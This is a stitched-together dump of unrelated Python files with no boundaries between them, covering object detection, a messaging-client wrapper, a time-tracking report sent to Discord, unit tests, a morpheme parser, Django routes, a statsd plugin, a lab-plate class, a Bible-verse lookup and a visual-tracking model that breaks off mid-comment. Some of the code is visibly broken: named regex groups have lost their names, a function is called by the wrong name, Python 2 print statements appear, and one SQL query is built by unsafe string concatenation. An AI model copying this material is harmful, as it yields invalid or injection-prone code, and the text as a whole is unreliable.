ltrb2[..., 3]) I = tf.math.maximum(0.0, ir - il) * tf.math.maximum(0.0, ib - it) A1 = (ltrb1[..., 2] - ltrb1[..., 0]) * (ltrb1[..., 3] - ltrb1[..., 1]) A2 = (ltrb2[..., 2] - ltrb2[..., 0]) * (ltrb2[..., 3] - ltrb2[..., 1]) U = A1 + A2 - I cl = tf.math.minimum(ltrb1[..., 0], ltrb2[..., 0]) ct = tf.math.minimum(ltrb1[..., 1], ltrb2[..., 1]) cr = tf.math.maximum(ltrb1[..., 2], ltrb2[..., 2]) cb = tf.math.maximum(ltrb1[..., 3], ltrb2[..., 3]) C = (cr - cl) * (cb - ct) return I / U - (C - U) / C def decode_layer(layer, layer_id): shape = layer.shape # [batch, width, height, 3 * (5 + classes)] d = shape[3] gw, gh = shape[1 : 3] stride_x = 1 / gw stride_y = 1 / gh tile_x = tf.cast(tf.tile(tf.expand_dims(tf.range(gw), axis=0), [gw, 1]), tf.float32) tile_y = tf.cast(tf.tile(tf.expand_dims(tf.range(gw), axis=1), [1, gh]), tf.float32) output_xywh = [] output_obj = [] output_cls = [] for ir in range(3): data = layer[..., (d // 3) * ir : (d // 3) * (ir + 1)] dx = data[..., 0] dy = data[..., 1] dw = data[..., 2] dh = data[..., 3] x = (sigmoid(dx) * SCALES[layer_id] - 0.5 * (SCALES[layer_id] - 1) + tile_x) * stride_x y = (sigmoid(dy) * SCALES[layer_id] - 0.5 * (SCALES[layer_id] - 1) + tile_y) * stride_y w = tf.math.exp(dw) * ANCHORS[layer_id][ir][0] / SIZE h = tf.math.exp(dh) * ANCHORS[layer_id][ir][1] / SIZE output_xywh.append(tf.stack([x, y, w, h], axis=-1)) output_obj.append(sigmoid(data[..., 4])) output_cls.append(sigmoid(data[..., 5 : ])) return (tf.stack(output_xywh, axis=-2), tf.stack(output_obj, axis=-1), tf.stack(output_cls, axis=-2)) """ Implementation of cli-proton-python external client command. """ from messaging_components.clients.external.command.client_command import ConnectorClientCommand, ReceiverClientCommand, \ LinkOptionsReceiver, ReactorOptionsSenderReceiver, SenderClientCommand, LinkOptionsSenderReceiver from messaging_components.clients.external.python.command.python_options import PythonControlOptionsCommon, \ PythonControlOptionsReceiver, PythonControlOptionsSenderReceiver, PythonConnectionOptionsCommon, \ PythonControlOptionsSender class PythonConnectorClientCommand(ConnectorClientCommand): """ Connector client command for cli-proton-python. In Python client there is --broker-url parameter and so we need to replace control instance by PythonControlOptionsCommon. """ def __init__(self, stdout: bool=False, stderr: bool=False, daemon: bool=False, timeout: int=0, encoding: str="utf-8"): super(PythonConnectorClientCommand, self).__init__(stdout, stderr, daemon, timeout, encoding) self.control = PythonControlOptionsCommon() self.connection = PythonConnectionOptionsCommon() def main_command(self) -> list: return ['cli-proton-python-connector'] class PythonReceiverClientCommand(ReceiverClientCommand): """ Receiver client command for cli-proton-python. In Python client there is --broker-url parameter and so we need to replace control instance by PythonControlOptionsCommon. """ def __init__(self, stdout: bool=False, stderr: bool=False, daemon: bool=False, timeout: int=0, encoding: str="utf-8"): super(PythonReceiverClientCommand, self).__init__(stdout, stderr, daemon, timeout, encoding) self.control = PythonControlOptionsReceiver() self.link = LinkOptionsReceiver() self.reactor = ReactorOptionsSenderReceiver() self.connection = PythonConnectionOptionsCommon() def main_command(self) -> list: return ['cli-proton-python-receiver'] class PythonSenderClientCommand(SenderClientCommand): """ Sender client command for cli-proton-python. In Python client there is --broker-url parameter and so we need to replace control instance by PythonControlOptionsCommon. """ def __init__(self, stdout: bool=False, stderr: bool=False, daemon: bool=False, timeout: int=0, encoding: str="utf-8"): super(PythonSenderClientCommand, self).__init__(stdout, stderr, daemon, timeout, encoding) self.control = PythonControlOptionsSender() self.link = LinkOptionsSenderReceiver() self.reactor = ReactorOptionsSenderReceiver() self.connection = PythonConnectionOptionsCommon() def main_command(self) -> list: return ['cli-proton-python-sender'] MentallyCramped/clockify_fork from typing import Tuple import pandas as pd import requests from config import Config from report_api import ReportApi from time_entries_api import TimeEntriesApi class ProductivityUpdate: def __init__(self): self.report = ReportApi() def _get_daily_message(self) -> str: message = "" time_api = TimeEntriesApi() recent_entries = time_api.get_recent_entries() entries = time_api.get_todays_entries(recent_entries) if not entries: message += self._get_no_work_today_message() else: summary_df = self.generate_summary_df(entries) total_hours, total_minutes = self.get_total_time(summary_df) project_to_time_dict = self.get_special_project_time(summary_df) message += self._get_work_done_today_message( total_hours, total_minutes, project_to_time_dict ) return message def _get_work_done_today_message( self, total_hours: int, total_minutes: int, project_to_time_dict : dict ) -> str: final_message = "🕰 Daily stats - Total time: {total_hours} hours and {total_minutes} minutes".format( total_hours=total_hours, total_minutes=total_minutes ) + "\n" for project_name, time_details in project_to_time_dict.items(): final_message += " - " + project_name + " --> Time: {prep_hours} hours and {prep_minutes} minutes".format( prep_hours=time_details[0], prep_minutes=time_details[1] ) + "\n" return final_message def _get_no_work_today_message(self) -> str: return "🕰 {} did not work today".format(Config.user_name) def generate_message(self) -> str: message = "```\nUpdates for {}\n\n".format(Config.user_name) message += self._get_daily_message() weekly_message = ReportApi().report("weekly") message += "\n\n" + weekly_message + "\n```" return message def generate_summary_df(self, entries: list): time_api = TimeEntriesApi() projects = time_api.get_projects() entry_df = time_api.get_entries_df(entries) projects_df = time_api.get_projects_df(projects) entry_df["hours"] = entry_df["end"] - entry_df["start"] entry_df = entry_df.groupby("project_id").agg({"hours": sum}).reset_index() summary_df = pd.merge(entry_df, projects_df, on="project_id") return summary_df def get_total_time(self, summary_df: pd.DataFrame) -> Tuple[int, int]: total_time = summary_df["hours"].sum().seconds total_hours = total_time // (60 * 60) total_minutes = (total_time - total_hours * 60 * 60) // 60 return total_hours, total_minutes def get_special_project_time(self, summary_df: pd.DataFrame): project_to_hours_map = {} for project_row in summary_df.iterrows(): print(project_row[1]) prep_time = ( project_row[1]["hours"].seconds ) prep_hours = prep_time // (60 * 60) prep_minutes = (prep_time - prep_hours * 60 * 60) // 60 if(prep_minutes > 0 or prep_hours > 0): project_to_hours_map[project_row[1]["name"]] = (prep_hours, prep_minutes) return project_to_hours_map def notify(self, message: str) -> int: message_dict = {"content": message} resp = requests.post( url=Config.discord_webhook_url, json=message_dict, headers={"Content-Type": "application/json"}, ) return 200 def run(self): message = self.generate_message() # print(message) return self.notify(message) if __name__ == "__main__": p = ProductivityUpdate() p.run() import pytest from datastorm.fields import StringField @pytest.fixture def field(): return StringField() def test_check_type_string_ok(field): assert field.check_type("test") def test_check_type_no_string_ko(field): assert not field.check_type(1) def test_dumps_strings(field): assert type(field.dumps(1)) is str def test_default_is_empty_string(field): assert field.default == "" from .utilities.morpheme_database import MorphemeDatabase class Morphemes: def __init__(self, data_path): self.db = MorphemeDatabase(data_path) def parse(self, word): morph_db_results = self.db.lookup(word) output = {} if morph_db_results is not None and len(morph_db_results) > 0: morph_db_result = morph_db_results[0] output["status"] = "FOUND_IN_DATABASE" output["word"] = word output["morpheme_count"] = morph_db_result["Nmorph"] segmentation = morph_db_result["MorphoLexSegm"] if segmentation is not None: in_segment = False in_root = False in_add_on = False current = '' fragments = [] cur = None for c in segmentation: if c == "{": cur = { "children": [], "type": "free" } in_segment = True if c == "(": in_root = True if c == ">" and in_add_on is False: in_add_on = True elif c == ">": if cur is not None: cur["children"].append({ "text": current, "type": "bound" }) else: fragments.append({ "text": current, "type": "bound" }) current = "" in_add_on = False if c == "}": current = "" fragments.append(cur) cur = None in_segment = False if c == ")": if cur is not None: cur["children"].append({ "text": current, "type": "root" }) current = "" in_root = False if c != "(" and c != ")" and c != "{" and c != "}" and c != ">": current = current + c output["tree"] = fragments else: output["status"] = "NOT_FOUND" output["word"] = word output["morpheme_count"] = 1 return outputimport copy import json class BaseRecord(dict): """Data model for records in the database. Database technologies in use cannot handle nested objects. Records exist to flatten / expand nested fields through JSON serialization. To subclass, specify the keys to flatten / expand via the `serialized_keys` class variable. """ serialized_keys = [] def flatten(self): """Return a flattened view of the object.""" obj = copy.deepcopy(self) obj.update(**{k: json.dumps(v) for k, v in obj.items() if k in self.serialized_keys}) return obj @classmethod def from_flat(cls, **kwargs): """Create a record from a set of flattened key-value data.""" kwargs.update(**{k: json.loads(v) for k, v in kwargs.items() if k in cls.serialized_keys}) return cls(**kwargs) class AnnotationResponse(BaseRecord): serialized_keys = ['response'] 0 from pytorch_lightning.loggers.tensorboard import TensorBoardLogger from torch.utils.tensorboard import SummaryWriter import torch import pytorch_lightning as pl from config import preEncDec from eng_utils import gen_model_loaders import model as M def preproc(): from data import split_data split_data('../data/hin-eng/hin.txt', '../data/hin-eng') if __name__=='__main__': pre_proc() train_loader, eval_loader = gen_model_loaders(preEncDec) hparams = preEncDec.lr writer = SummaryWriter() net = M.itr_Net(hparams) logger = TensorBoardLogger("tb_logs", name="translation_model") trainer = pl.Trainer(gpus=1, max_epochs = preEncDec.epochs, logger = logger) trainer.fit(net) writer.close()# coding=utf-8 from django.conf.urls import url from modules.employee_management.archives_info.code import del_archive from modules.employee_management.archives_info.code import edit_archive from modules.employee_management.archives_info.code import list_archive from modules.employee_management.employee_info.models import Archive # 档案信息相关 urlpatterns = [ url(r'^list$', list_archive.ArchiveList.as_view(), name="archive_list"), url(r'^(?P[0-9]+)/edit$', edit_archive.ArchiveUpdate.as_view(), {"model_name": Archive}, name="archive_edit"), url(r'^(?P[0-9]+)/delete$', del_archive.ArchiveDelete.as_view(), {"model_name": Archive}, name="archive_delete") ] from . import Plugin class CatchallStatsdPlugin(Plugin): priority = -4 """ Like catchall, but for targets from statsd (presumably) """ targets = [ { 'match': '^stats\.gauges\.(?P[^\.]+)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)$', 'target_type': 'gauge', 'configure': [ lambda self, target: self.add_tag(target, 'what', 'unknown'), lambda self, target: self.add_tag(target, 'source', 'statsd') ] }, { 'match': '^stats\.timers\.(?P[^\.]+)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)\.(?P[^\.]+)$', 'no_match': ['\.count$', '\.bin_[^\.]+$'], 'target_type': 'gauge', 'configure': [ lambda self, target: self.add_tag(target, 'what', 'ms'), lambda self, target: self.add_tag(target, 'source', 'statsd') ] }, { # we could of course do \.bin_(?P[^\.]+)$ at the end # (and no no_match), but that's slow :( computation time from 2 -> # 6 minutes 'match': '^stats\.timers\.(?P[^\.]+)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)\.(?P[^\.]+)$', 'no_match': '\.(count|lower|mean|mean_90|std|sum|sum_90|upper|upper_90)$', 'target_type': 'gauge', 'configure': [ lambda self, target: self.add_tag(target, 'what', 'freq_abs'), lambda self, target: self.add_tag(target, 'source', 'statsd') ] }, { # TODO: for some reason the 'count' at the end makes this regex quite slow # you can see this in StructuredMetrics.list_metrics if you print # something for every metric. timers will be very slowly. if you # make it (?P[^\.]+) it becomes fast again, but we need to # match on only the ones ending on count :( 'match': '^stats\.timers\.(?P[^\.]+)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)\.count$', 'target_type': 'count', 'configure': [ lambda self, target: self.add_tag(target, 'what', 'packets'), lambda self, target: self.add_tag(target, 'type', 'timer'), lambda self, target: self.add_tag(target, 'source', 'statsd') ] }, { 'match': '^stats\.(?P[^\.]+)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)$', 'no_match': '^stats\.timers\.', 'target_type': 'rate', 'configure': [ lambda self, target: self.add_tag(target, 'what', 'unknown'), lambda self, target: self.add_tag(target, 'source', 'statsd') ] }, { 'match': '^stats_counts\.(?P[^\.]+)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)\.?(?P[^\.]*)$', 'target_type': 'count', 'configure': [ lambda self, target: self.add_tag(target, 'what', 'unknown'), lambda self, target: self.add_tag(target, 'source', 'statsd') ] }, ] # vim: ts=4 et sw=4: _DEBUG = False if _DEBUG: from ..debug import * """This module implements the Base class for all plates. See plateo.container for more specific plate subclasses, with set number of wells, well format, etc. """ from collections import OrderedDict import json from .Well import Well from .tools import (index_to_wellname, wellname_to_index, coordinates_to_wellname, rowname_to_number, replace_nans_in_dict) from box import Box class Plate: """Base class for all wells.""" PlateWell = Well def __init__(self, name=None, wells_data=None, data=None): self.name = name self.data = Box({} if data is None else data) self.wells_data = {} if wells_data is None else wells_data self.num_wells = self.num_rows * self.num_columns self.wells = Box() for row in range(1, self.num_rows + 1): for column in range(1, self.num_columns + 1): wellname = coordinates_to_wellname((row, column)) data = self.wells_data.get(wellname, {}) well = self.PlateWell(plate=self, row=row, column=column, name=wellname, data=data) self.wells[wellname] = well def __getitem__(self, k): """Return e.g. well A1's dict when calling `myplate['A1']`.""" return self.wells[k] def merge_data_from(self, other_plate, overwrite=True): """Adds a new field `field_name` to the Note that `fun` can also return nothing and simply transform the wells. """ for well in self: if well.name in other_plate.wells.keys(): other_well = other_plate[well.name] other_data = other_well.data if not overwrite: other_data = {k: v for (k, v) in other_data.items() if k not in well.data} well.data.update(other_data) def apply_to_wells(self, fun): """Run fun(well) for every `name:well` in `self.wells_dict`""" for well in self: fun(well) def compute_data_field(self, field_name, fun, ignore_none=False): for well in self: data = fun(well) if (data is not None) or (not ignore_none): well.data[field_name] = data def find_unique_well(self, content_includes=None, condition=None): if content_includes is not None: def condition(well): return (content_includes in well.content.quantities.keys()) wells = [ well for name, well in self.wells.items() if condition(well) ] if len(wells) > 1: raise ValueError("Query returned several wells: %s" % wells) elif len(wells) == 0: raise ValueError("No wells found matching the condition") return wells[0] def to_pretty_string(self, well_name, indent=2): return json.dumps(self[well_name], indent=indent) def list_well_data_fields(self): return sorted(list(set( field for well in self for field in well.data.keys() ))) def wells_in_column(self, column_number): """Return the list of all wells of the plate in the given column.""" # TODO: at some point, avoid iterating over all wells, make it smarter return [ well for well in self if well.column == column_number ] def wells_in_row(self, row): """Return the list of all wells of the plate in the given row. The `row` can be either a row number (1,2,3) or row letter(s) (A,B,C). """ if isinstance(row, str): row = rowname_to_number(row) return [ well for well in self if well.row == row ] def wells_satisfying(self, condition): """ Examples --------- >>> def condition(well): >>> return well.volume > 50 >>> for well in myplate.wells_satifying(condition): >>> print( well.name ) """ return filter(condition, self.wells.values()) def wells_grouped_by(self, data_field=None, key=None, sort_keys=False, ignore_none=False, direction_of_occurence="row"): if key is None: def key(well): return well.data.get(data_field, None) dct = OrderedDict() for well in self.iter_wells(direction=direction_of_occurence): well_key = key(well) if well_key not in dct: dct[well_key] = [well] else: dct[well_key].append(well) if ignore_none: dct.pop(None, None) keys = dct.keys() if sort_keys: keys = sorted(keys) return [(k, dct[k]) for k in keys] def get_well_from_index(self, index, direction="row"): return self[self.index_to_wellname(index, direction=direction)] def well_at_index(self, index, direction="row"): return self[self.index_to_wellname(index, direction=direction)] def index_to_wellname(self, index, direction="row"): return index_to_wellname(index, self.num_wells, direction=direction) def wellname_to_index(self, wellname, direction="row"): return wellname_to_index(wellname, self.num_wells, direction=direction) def iter_wells(self, direction="row"): """Iter through the wells either by row or by column""" if direction == "row": return self.wells_sorted_by(lambda w: (w.row, w.column)) else: return self.wells_sorted_by(lambda w: (w.column, w.row)) def wells_sorted_by(self, sortkey): return (e for e in sorted(self.wells.values(), key=sortkey)) def list_data_field_values(self, data_field, include_none=False): return list(set([ w.data[data_field] for w in self.iter_wells() if data_field in w.data and (include_none or (w.data[data_field] is not None)) ])) def last_nonempty_well(self, direction='row'): """Return the last non-empty well found when traversing the plate.""" selected_well = None for well in self.iter_wells(direction=direction): if not well.is_empty: selected_well = well return selected_well def __iter__(self): """Allow to iter through the well dicts using `for well in myplate`""" return self.iter_wells() def to_dict(self, replace_nans_by='null'): dct = { "data": self.data, "wells": { well.name: well.to_dict() for well in self } } if replace_nans_by is not None: replace_nans_in_dict(dct, replace_by=replace_nans_by) return dct def __repr__(self): return "%s(%s)" % (self.__class__.__name__, self.name) 1-10 #this script pulls in the date from a csv file, cross refernces it with the bible sqlite db and then #out puts a section of text appropriate for the day. First I'm just going to get proverbs working. import time import sqlite3 def getTodayWellFormated(): ltime = time.localtime() today = str(ltime.tm_year)+',' if ltime.tm_mon<10: today += '0'+ str(ltime.tm_mon)+',' else: today += str(ltime.tm_mon)+',' if ltime.tm_mday < 10: today += '0' + str(ltime.tm_mday) else: today += str(ltime.tm_mday) return today def cleanRefs(val): refs = [] for i in val: r = i.split(',') ref = {} if len(r) > 5: ref['verse'] = r[5] if len(r) > 4: ref['chapter'] = r[4] if len(r) > 3: ref['book'] = r[3] refs.append(ref) return refs def getTodaysReferences(): today = getTodayWellFormated() f = open("bibleSchedule.csv","r") ins = f.readlines() rawRefs = [] for i in ins: if today in i: rawRefs.append(i.replace('\n','')) refs = cleanRefs(rawRefs) return refs def getVersesFromDB(ref): db = sqlite3.connect('bible.db') c = db.cursor() query = 'SELECT * FROM verse WHERE book LIKE "'+ref['book']+'" AND chapter='+ref['chapter'] query = 'SELECT * FROM verse WHERE book LIKE "Proverbs" AND chapter=6' c.execute(query) print query ref = c.fetchall() print getVersesFromDB(getTodaysReferences()[0]) tests/days/Day10Test.py import unittest from ac2020.days.Day10 import Day10 class Day10Test(unittest.TestCase): def test_empty_input(self): day = Day10() day._set_input('') self.assertEqual('No result', day.part1()) self.assertEqual('No result', day.part2()) def test_correct_input(self): day = Day10() day._set_input('16\n10\n15\n5\n1\n11\n7\n19\n6\n12\n4') self.assertEqual('35', day.part1()) self.assertEqual('8', day.part2()) def test_more_complex_correct_input(self): day = Day10() day._set_input('28\n33\n18\n42\n31\n14\n46\n20\n48\n47\n24\n23\n49\n45\n19\n38\n39\n11\n1\n32\n25\n35\n8\n17\n7\n9\n4\n2\n34\n10\n3') self.assertEqual('220', day.part1()) self.assertEqual('19208', day.part2())edcuba/particleflow10-100 from ray.tune import grid_search, choice, uniform, quniform, loguniform, randint, qrandint raytune_num_samples = 1 # Number of random samples to draw from search space. Set to 1 for grid search. samp = grid_search search_space = { # Optimizer parameters "lr": samp([1e-3]), "activation": samp(["elu"]), "batch_size_physical": samp([32]), # "batch_size_gun": samp([600]), "expdecay_decay_steps": samp([2000]), # Model parameters "layernorm": samp([False]), "ffn_dist_hidden_dim": samp([64, 256]), "ffn_dist_num_layers": samp([1]), "distance_dim": samp([128]), "num_node_messages": samp([1]), "num_graph_layers_common": samp([3]), "num_graph_layers_energy": samp([3]), "dropout": samp([0.0]), "bin_size": samp([160]), "clip_value_low": samp([0.0]), "normalize_degrees": samp([True]), "output_dim": samp([128]), } # search_space = { # Optimizer parameters # "lr": loguniform(1e-4, 3e-2), # "activation": "elu", # "batch_size_physical": quniform(4, 32, 4), # "batch_size_gun": quniform(100, 800, 100), # "expdecay_decay_steps": quniform(10, 2000, 10), # "expdecay_decay_rate": uniform(0.9, 1), # Model parameters # "layernorm": quniform(0, 1, 1), # "ffn_dist_hidden_dim": quniform(64, 256, 64), # "ffn_dist_num_layers": quniform(1, 3, 1), # "distance_dim": quniform(64, 512, 64), # "num_node_messages": quniform(1, 3, 1), # "num_graph_layers_common": quniform(2, 4, 1), # "num_graph_layers_energy": quniform(2, 4, 1), # "dropout": uniform(0.0, 0.5), # "bin_size": quniform(160, 320, 160), # "clip_value_low": uniform(0.0, 0.2), # "dist_mult": uniform(0.01, 0.2), # "normalize_degrees": quniform(0, 1, 1), # "output_dim": quniform(64, 512, 64), # } def set_raytune_search_parameters(search_space, config): if "layernorm" in search_space.keys(): config["parameters"]["combined_graph_layer"]["layernorm"] = bool(search_space["layernorm"]) if "ffn_dist_hidden_dim" in search_space.keys(): config["parameters"]["combined_graph_layer"]["ffn_dist_hidden_dim"] = int(search_space["ffn_dist_hidden_dim"]) if "ffn_dist_num_layers" in search_space.keys(): config["parameters"]["combined_graph_layer"]["ffn_dist_num_layers"] = int(search_space["ffn_dist_num_layers"]) if "distance_dim" in search_space.keys(): config["parameters"]["combined_graph_layer"]["distance_dim"] = int(search_space["distance_dim"]) if "num_node_messages" in search_space.keys(): config["parameters"]["combined_graph_layer"]["num_node_messages"] = int(search_space["num_node_messages"]) if "normalize_degrees" in search_space.keys(): config["parameters"]["combined_graph_layer"]["node_message"]["normalize_degrees"] = bool( search_space["normalize_degrees"] ) if "output_dim" in search_space.keys(): config["parameters"]["combined_graph_layer"]["node_message"]["output_dim"] = int(search_space["output_dim"]) if "activation" in search_space.keys(): config["parameters"]["combined_graph_layer"]["node_message"]["activation"] = search_space["activation"] config["parameters"]["combined_graph_layer"]["dist_activation"] = search_space["activation"] config["parameters"]["combined_graph_layer"]["activation"] = search_space["activation"] if "num_graph_layers_common" in search_space.keys(): config["parameters"]["num_graph_layers_common"] = int(search_space["num_graph_layers_common"]) if "num_graph_layers_energy" in search_space.keys(): config["parameters"]["num_graph_layers_energy"] = int(search_space["num_graph_layers_energy"]) if "bin_size" in search_space.keys(): config["parameters"]["combined_graph_layer"]["bin_size"] = int(search_space["bin_size"]) if "clip_value_low" in search_space.keys(): config["parameters"]["combined_graph_layer"]["kernel"]["clip_value_low"] = search_space["clip_value_low"] if "dist_mult" in search_space.keys(): config["parameters"]["combined_graph_layer"]["kernel"]["dist_mult"] = search_space["dist_mult"] if "dropout" in search_space.keys(): config["parameters"]["combined_graph_layer"]["dropout"] = search_space["dropout"] / 2 config["parameters"]["output_decoding"]["dropout"] = search_space["dropout"] if "lr" in search_space.keys(): config["setup"]["lr"] = search_space["lr"] if "batch_size_physical" in search_space.keys(): config["train_test_datasets"]["physical"]["batch_per_gpu"] = int(search_space["batch_size_physical"]) if "batch_size_gun" in search_space.keys(): config["train_test_datasets"]["gun"]["batch_per_gpu"] = int(search_space["batch_size_gun"]) if "expdecay_decay_steps" in search_space.keys(): config["exponentialdecay"]["decay_steps"] = search_space["expdecay_decay_steps"] if "expdecay_decay_rate" in search_space.keys(): config["exponentialdecay"]["decay_rate"] = search_space["expdecay_decay_rate"] return config # Copyright (c) SenseTime. All Rights Reserved. from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import torch import torch.nn as nn import torch.nn.functional as F from pysot.core.config import cfg from pysot.models.loss import select_cross_entropy_loss, weight_l1_loss from pysot.models.backbone import get_backbone from pysot.models.head import get_rpn_head, get_mask_head, get_refine_head from pysot.models.neck import get_neck from PreciseRoIPooling.pytorch.prroi_pool import PrRoIPool2D from pioneer.core.traj_predict import Predict_FC, Predict_GRU, Predict_LSTM, Predict_STLSTM # from pioneer.traj_predict_train import Predict_FC, Predict_GRU, Predict_LSTM, Predict_STLSTM from pioneer.core.AtomIoUNet import AtomIoUNet from pioneer.core.RefineNet import RefineNet from pioneer.core.DR_Loss import SigmoidDRLoss class ModelBuilder(nn.Module): def __init__(self): super(ModelBuilder, self).__init__() # build backbone self.backbone = get_backbone(cfg.BACKBONE.TYPE, **cfg.BACKBONE.KWARGS) # build adjust layer if cfg.ADJUST.ADJUST: self.neck = get_neck(cfg.ADJUST.TYPE, **cfg.ADJUST.KWARGS) # build rpn head self.rpn_head = get_rpn_head(cfg.RPN.TYPE, **cfg.RPN.KWARGS) # build mask head if cfg.MASK.MASK: self.mask_head = get_mask_head(cfg.MASK.TYPE, **cfg.MASK.KWARGS) if cfg.REFINE.REFINE: self.refine_head = get_refine_head(cfg.REFINE.TYPE) # 轨迹预测 # self.pred = Predict_STLSTM(batchsize=1) # STLSTM 需指定batchsize self.pred = Predict_GRU() # iou_pred, input_dim参数针对ResNet50 self.iou_pred = AtomIoUNet(input_dim=(512, 1024), pred_input_dim=(256,256), pred_inter_dim=(256, 256)) # Refine bbox self.refine_module = RefineNet(input_channels=256) # PrRoiPool self.pr_roi_pool = PrRoIPool2D(7, 7, 31/255) def template(self, z): zf = self.backbone(z) zf_backbone = zf.copy() if cfg.MASK.MASK: zf = zf[-1] if cfg.ADJUST.ADJUST: zf = self.neck(zf) # 为将提取x_crop特征集成于此处， # 添加判断zf是否为模板特征的条件 if zf[-1].shape[-1] == 7: self.zf = zf return zf_backbone, zf def track(self, x): xf = self.backbone(x) xf_backbone = xf.copy() if cfg.MASK.MASK: self.xf = xf[:-1] xf = xf[-1] if cfg.ADJUST.ADJUST: xf = self.neck(xf) # factor = 0.001 # gmask_ = torch.nn.functional.interpolate(gmask.reshape([1, 1, 255, 255]), (31, 31)) # xf = [xf_ * (1 + factor * gmask_) for xf_ in xf] cls, loc = self.rpn_head(self.zf, xf) if cfg.MASK.MASK: mask, self.mask_corr_feature = self.mask_head(self.zf, xf) return { 'cls': cls, 'loc': loc, 'mask': mask if cfg.MASK.MASK else None, 'x_backbone_feat': xf_backbone, 'x_f': xf } def mask_refine(self, pos): return self.refine_head(self.xf, self.mask_corr_feature, pos) def log_softmax(self, cls): b, a2, h, w = cls.size() cls = cls.view(b, 2, a2//2, h, w) cls = cls.permute(0, 2, 3, 4, 1).contiguous() cls = F.log_softmax(cls, dim=4) return cls def forward(self, data): """ only used in training """ template = data['template'].cuda() search = data['search'].cuda() label_cls = data['label_cls'].cuda() label_loc = data['label_loc'].cuda() label_loc_weight = data['label_loc_weight'].cuda() # get feature zf = self.backbone(template) xf = self.backbone(search) if cfg.MASK.MASK: zf = zf[-1] self.xf_refine = xf[:-1] xf = xf[-1] if cfg.ADJUST.ADJUST: zf = self.neck(zf) xf = self.neck(xf) cls, loc = self.rpn_head(zf, xf) # get loss cls = self.log_softmax(cls) cls_loss = select_cross_entropy_loss(cls, label_cls) loc_loss = weight_l1_loss(loc, label_loc, label_loc_weight) outputs = {} outputs['total_loss'] = cfg.TRAIN.CLS_WEIGHT * cls_loss + \ cfg.TRAIN.LOC_WEIGHT * loc_loss outputs['cls_loss'] = cls_loss outputs['loc_loss'] = loc_loss if cfg.MASK.MASK: # TODO mask, self.mask_corr_feature = self.mask_head(zf, xf) mask_loss = None outputs['total_loss'] += cfg.TRAIN.MASK_WEIGHT * mask_loss outputs['mask_loss'] = mask_loss return outputs def forward_iou(self,data): template = data['template'].cuda() search = data['search'].cuda() template_bbox = data['template_bbox'].cuda().unsqueeze(0) proposals_bbox = data['proposals_bbox'].cuda().unsqueeze(0) proposals_iou = data['proposals_iou'].cuda() search_bbox = data['search_bbox'].cuda() # # simulate the trajectory prediction # BatchSize = template.shape[0] # search_bbox_center = (search_bbox[:, :2] + search_bbox[:, 2:]/2).cpu() # # offset is uniform random para between [-8, 8] # offset_w = torch.rand([BatchSize]) # offset_h = torch.rand([BatchSize]) # delta_center_w = search_bbox_center[:, 0] -255/2 + (offset_w * 16) - 8 # delta_center_h = search_bbox_center[:, 1] -255/2 + (offset_h * 16) - 8 # # # 注意在mgrid的输出中，坐标x实际是负责h方向，坐标y实际是负责h方向！ # # 这与通常的x与w对应不同！ # x, y = np.mgrid[-127:127:255j, -127:127:255j] # x_tensor = torch.tensor(x).repeat([BatchSize,1,1]) - delta_center_h.reshape([BatchSize,1,1]) # y_tensor = torch.tensor(y).repeat([BatchSize,1,1]) - delta_center_w.reshape([BatchSize,1,1]) # # sigma = 120 # guass_mask = 1 / (2 * np.pi * (sigma ** 2)) * \ # torch.exp(-((x_tensor) ** 2 + (y_tensor) ** 2) / (2 * sigma ** 2)) # # wight = 0.005 # guass_mask = (guass_mask/torch.max(guass_mask)).to(search.device).float().unsqueeze(1) # search_weighted = search*(1+wight*guass_mask) zf = self.backbone(template) xf = self.backbone(search) # search_weighted # z_feat3, z_feat4 = zf[:2] # x_feat3, x_feat4 = xf[:2] if cfg.MASK.MASK: # 仅用于判断是否为SiamMask pred_iou = self.iou_pred(zf[2:4], xf[2:4], template_bbox, proposals_bbox) else: # SiamRPN++ pred_iou = self.iou_pred(zf[:2],xf[:2],template_bbox,proposals_bbox) loss = nn.MSELoss() loss_mse= loss(pred_iou, proposals_iou) # 将回归问题转换成分类问题,分类的编号从1开始 proposals_iou = proposals_iou.reshape([-1]) proposals_iou_class_1 = torch.ones_like(proposals_iou) # iou <= 5 proposals_iou_class_2 = torch.ones_like(proposals_iou) * 2 # iou > 5 proposals_iou_class = torch.where(proposals_iou>5, proposals_iou_class_2, proposals_iou_class_1) pred_iou_ = pred_iou.reshape([-1,1]) # 考虑DRLoss中对pred_iou使用sigmod()将范围变到[0,1], # 此处将概率预测范围变为[-5,5] pred_iou_class = torch.cat([-(pred_iou_-5), pred_iou_-5],dim=1) # 应用DRLoss DRLoss = SigmoidDRLoss() loss_drloss = DRLoss(pred_iou_class, proposals_iou_class) return {'loss': loss_mse + loss_drloss, 'loss_mse': loss_mse, 'loss_drloss': loss_drloss}, \ pred_iou def forward_refine(self,data): template = data['template'].cuda() search = data['search'].cuda() template_bbox = data['template_bbox'].cuda().unsqueeze(0) proposals_bbox = data['proposals_bbox'].cuda().unsqueeze(0) proposals_iou = data['proposals_iou'].cuda() search_bbox = data['search_bbox'].cuda() # # simulate the trajectory prediction # BatchSize = template.shape[0] # search_bbox_center = (search_bbox[:, :2] + search_bbox[:, 2:]/2).cpu() # # offset is uniform random para between [-8, 8] # offset_w = torch.rand([BatchSize]) # offset_h = torch.rand([BatchSize]) # delta_center_w = search_bbox_center[:, 0] -255/2 + (offset_w * 16) - 8 # delta_center_h = search_bbox_center[:, 1] -255/2 + (offset_h * 16) - 8 # # # 注意在mgrid的输出中，坐标x_grid实际是负责h方向，坐标y_grid实际是负责h方向！ # # 这与通常的x与w对应不同！ # # 可记做(x_grid,y_grid) 与 (h,w) 相对 # x_grid, 